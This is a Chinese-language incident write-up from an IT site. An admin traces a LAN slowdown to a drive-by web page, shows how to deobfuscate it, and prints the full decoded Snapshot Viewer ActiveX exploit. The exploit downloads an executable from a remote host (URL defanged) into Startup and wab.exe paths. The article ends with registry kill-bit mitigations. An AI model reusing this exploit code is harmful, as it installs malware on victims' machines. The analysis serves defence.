【IT168 专稿】朋友在一个3D培训电脑培训公司当网管实习,临时回家了几天,找到我代替他工作几天。这家公司属于中型规模,通过路由器组建的局域网,大概有200多台电脑,10M光纤接入,但是网速出奇的慢,每台电脑里都装了个杀毒软件加上一个ARP防火墙,ARP防火墙经常弹出提示192.168.1.102发来攻击,很明显这台电脑中招了,攻击全局域网导致上网速度十分的慢。每台机器也没什么重要的东西,主要上面就是运行一些3D软件。锁定了这台电脑IP后,找到了这台电脑,临时叫使用这个电脑的人换到了我电脑上。
打开IE发现主页被篡改,经常弹出未知网页,杀毒软件和防火墙也打不开,打开某些程序提示软件出错(像是已经被感染),看来中了很BT的病毒,如果手工杀起毒来,恐怕需要一些时候了。一般情况下,这里的机器中了毒基本都是用GHOST重新装的,看来这台机器也是要这样了,节省时间,反正里面也没什么重要数据。但是重装之前得分析清楚,是什么原因让这个机器中毒了,由于这里的人平时也不下载什么软件,由于软件被木马捆绑中毒的概率很低,多半是浏览哪个网页导致的。
先断开本地连接,在一个弹出网页中找到了如下代码:图1

图1
一看就是挂马了,把这个网页通过另一台机器用迅雷把这张网页下载下来,看到一堆的代码:

图2
是自定义函数加密的网页木马,加密代码的最上面有一个eval函数,把eval改成document.write保存后直接打开这个页面,得到第一次解密。如下:图3

图3
复制出以上解密的代码,再建立第二张网页,把document.write(t)换成document.getElementById('textfield').value=t;,在网页的最下面写上<form id="form1" name="form1" method="post" action="">2
<label>3
<textarea name="textfield" cols="100" rows="50"></textarea>4
</label>5
</form>6

注意textfield与document.getElementById('textfield').value=t;里的textfield是相对应的。之后打开这个网页,得到了最终解密的结果。图4

贴出完整的代码如下:
<script type="text/javascript">2
function killErrors() {3
return true;4
}5
window.onerror = killErrors;6

7
var x;8
var obj;9
var mycars = new Array();10
mycars[0] = "c:/Program Files/Outlook Express/wab.exe";11
mycars[1] = "d:/Program Files/Outlook Express/wab.exe";12
mycars[2] = "e:/Program Files/Outlook Express/wab.exe";13
mycars[3] = "C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Thunder.exe";14
mycars[4] = "C:/Documents and Settings/All Users/Start Menu/Programs/Startup/Thunder.exe";15

16
var objlcx = new ActiveXObject("snpvw.Snapshot Viewer Control.1");17

18
if(objlcx="[object]")19
{20

21
setTimeout('window.location = "ldap://"',3000);22

23
for (x in mycars)24
{25
obj = new ActiveXObject("snpvw.Snapshot Viewer Control.1")26

27
var buf1 = 'hxxp://jijiks8ahsda.cn/9/ck.exe';28
var buf2=mycars[x];29

30
obj.Zoom = 0;31
obj.ShowNavigationButtons = false;32
obj.AllowContextMenu = false;33
obj.SnapshotPath = buf1;34

35
try36
{37
obj.CompressedPath = buf2;38
obj.PrintSnapshot();39

40
}catch(e){}41

42
}43
}44

45
</script>其中http换成了hxxp防止误入。
很明显,这个是Microsoft Office Snapshot Viewer ActiveX 漏洞利用代码,是Office系列软件中Access的漏洞,受这个漏洞影响的Access版本有2003、2002、2000,如果仅仅安装了Microsoft Snapshot Viewer 10.0.4622程序,也具有该漏洞。也难怪这个漏洞会使打全补丁的系统中招,目前官方没有给出补丁,其实世界上根本没有打全了补丁的系统。
我们看到代码中有这样的代码:
mycars[0] = "c:/Program Files/Outlook Express/wab.exe";2
mycars[1] = "d:/Program Files/Outlook Express/wab.exe";3
mycars[2] = "e:/Program Files/Outlook Express/wab.exe";4
mycars[3] = "C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Thunder.exe";5
mycars[4] = "C:/Documents and Settings/All Users/Start Menu/Programs/Startup/Thunder.exe";6

可以看出,漏洞利用者想尽了利用的方式,mycars[0] = "c:/Program Files/Outlook Express/wab.exe";mycars[1] = "d:/Program Files/Outlook Express/wab.exe";mycars[2] = "e:/Program Files/Outlook Express/wab.exe";这个是能够触发直接运行恶意程序的利用方式,而后两句,一个是写入启动项,一个是写入迅雷开机自启动里面。甚至说即使不直接触发漏洞运行,写在启动里面,开机后恶意程序也会悄悄的运行。而代码里这句hxxp://jijiks8ahsda.cn/9/ck.exe就是运程下载恶意程序的地址了。
目前这个漏洞利用代码已经在网上传开了,而杀毒软件自带的漏洞更新程序并未见到这个官方给出的这个漏洞的补丁。
笔者GHOST完系统后,系统中自带了OFFICE2003,把这个hxxp://jijiks8ahsda.cn/9/ck.ex换成了一个自写的VB小程序亲自在本地测试了一下这个漏洞,运行该网页后弹出了程序窗口,并且在启动项里找到VB小程序。该漏洞对于未做安全防护的用户中马的概率十分的高,最后做了下全局域网的安全防护。
首先设置一下IE的安全级别,所有机器上INTERNET安全级别设置了为“高”,之后在受限站点里面加入该站点,加入该恶意站点。然后通过禁用COM组件安装包,来禁止该漏洞触发,这只能是临时解决方案。将以下代码复制到记事本。
Windows Registry Editor Version 5.002
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D50- 3
368C-11D0-AD81-00A0C90DC8D9}]4
"Compatibility Flags"=dword:000004005
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D60- 6
368C-11D0-AD81-00A0C90DC8D9}]7
"Compatibility Flags"=dword:000004008
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F2175210- 9
368C-11D0-AD81-00A0C90DC8D9}]10
"Compatibility Flags"=dword:00000400把其另存为safe.reg,在全局域网所有机器上执行,导入注册表,这样就手工禁用了COM组件安装包。最后开启所有机器上的杀毒软件的网页木马拦截功能,等待官方的补丁出来后,迅速打上该补丁。